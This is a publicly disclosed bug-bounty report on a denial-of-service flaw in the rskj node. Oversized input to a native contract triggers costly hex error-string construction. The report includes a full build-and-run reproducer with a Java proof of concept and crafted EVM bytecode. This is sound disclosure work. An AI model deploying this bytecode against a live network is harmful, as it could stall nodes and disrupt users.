HexBrain

Rootstock Labs · Report #2559404

Crafted smart contract can take ~23 seconds to execute due to immense error string construction

Validstatus
mediumseverity
23upvotes
12 Jun 2025disclosed

How it was found

Calling the native contract (rskj-core/src/main/java/co/rsk/pcc/NativeContract.java) with an invalid, large input (1081344 bytes -- I experimentally determined that this is about the slowest I can go) in an infinite loop (until gas runs out) takes about 70 seconds on my machine (I assume ~23 seconds on your machine). (Slightly faster than https://hackerone.com/reports/2489843).

The cause of the issue is that NativeContract.execute constructs the entirety of the input message as a hex string for logging and throwing an exception: https://github.com/rsksmart/rskj/blob/e130ef722ca87eb881d4da435b30ec23f8fee15a/rskj-core/src/main/java/co/rsk/pcc/NativeContract.java#L122

String errorMessage = String.format("Invalid data given: %s.", ByteUtil.toHexString(data));

If you change this to (for the sake of demonstration):

String errorMessage = String.format("Invalid data given: %s.", "");

The reproducer finishes in about 4.4 seconds (on my machine).

The reproducer below disables logging; if this is enabled by default on production nodes, it will presumably take even longer.

wget -q https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz
tar zxf openjdk-11.0.2_linux-x64_bin.tar.gz
export JAVA_HOME=$(realpath jdk-11.0.2/)
git clone --depth 1 https://github.com/rsksmart/rskj.git
cd rskj/
echo "task testJar(type: Jar) {" >>rskj-core/build.gradle
echo "    from sourceSets.test.output" >>rskj-core/build.gradle
echo "    classifier = 'tests'" >>rskj-core/build.gradle
echo "}" >>rskj-core/build.gradle
echo "assemble.dependsOn(testJar)" >>rskj-core/build.gradle
./configure.sh

# Disable logging
echo """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<configuration>
    <root level=\"OFF\">
    </root>
</configuration>""" >rskj-core/src/test/resources/logback.xml

# Build rskj
./gradlew assemble

# Construct reproducer
echo """
import co.rsk.config.TestSystemProperties;
import co.rsk.config.VmConfig;
import java.util.HashSet;
import javax.xml.bind.DatatypeConverter;
import co.rsk.test.builders.AccountBuilder;
import co.rsk.test.builders.TransactionBuilder;
import org.ethereum.config.blockchain.upgrades.ActivationConfig;
import org.ethereum.config.blockchain.upgrades.ActivationConfigsForTest;
import org.ethereum.core.BlockFactory;
import org.ethereum.core.BlockTxSignatureCache;
import org.ethereum.core.ReceivedTxSignatureCache;
import org.ethereum.vm.*;
import org.ethereum.vm.program.Program;
import org.ethereum.vm.program.invoke.ProgramInvokeMockImpl;
import org.ethereum.core.Account;
import org.ethereum.core.Transaction;
import java.math.BigInteger;

public class Poc {
    static private final TestSystemProperties config = new TestSystemProperties();
    static private final PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
    static private final BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
    static private VmConfig vmConfig = config.getVmConfig();
    static private ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
    static private ActivationConfig.ForBlock activations = ActivationConfigsForTest.lovell700().forBlock(0);
    private static Transaction createTransaction() {
        int number = 0;
        AccountBuilder acbuilder = new AccountBuilder();
        acbuilder.name(\"sender\" + number);
        Account sender = acbuilder.build();
        acbuilder.name(\"receiver\" + number);
        Account receiver = acbuilder.build();
        TransactionBuilder txbuilder = new TransactionBuilder();
        return txbuilder.sender(sender).receiver(receiver).value(BigInteger.valueOf(1000)).build();
    }
    public static void main(String[] args) {
        TestSystemProperties config = new TestSystemProperties();
        PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
        BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
        VmConfig vmConfig = config.getVmConfig();
        ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
        ActivationConfig.ForBlock activations = ActivationConfigsForTest.arrowhead600().forBlock(0);
        invoke.setGas(6800000); /* block limit */

        byte[] code = DatatypeConverter.parseHexBinary(
                \"5b6000600062108000600063010000095afa50600056\");
        VM vm = new VM(vmConfig, precompiledContracts);
        Transaction transaction = createTransaction();
        Program program = new Program(vmConfig, precompiledContracts, blockFactory, activations, code, invoke, transaction, new HashSet<>(), new BlockTxSignatureCache(new ReceivedTxSignatureCache()));

        try {
            while (!program.isStopped())
                vm.step(program);
        } catch (RuntimeException e) {
            program.setRuntimeFailure(e);
        }
    }
}""" >Poc.java

# Build reproducer
$JAVA_HOME/bin/javac -cp rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-all.jar Poc.java
# Run reproducer
time $JAVA_HOME/bin/java -cp .:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-all.jar Poc

I will only submit one bug at a time. The sooner a bounty is rewarded, the sooner I will submit more bugs. Thanks.

Impact

Stall the network.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original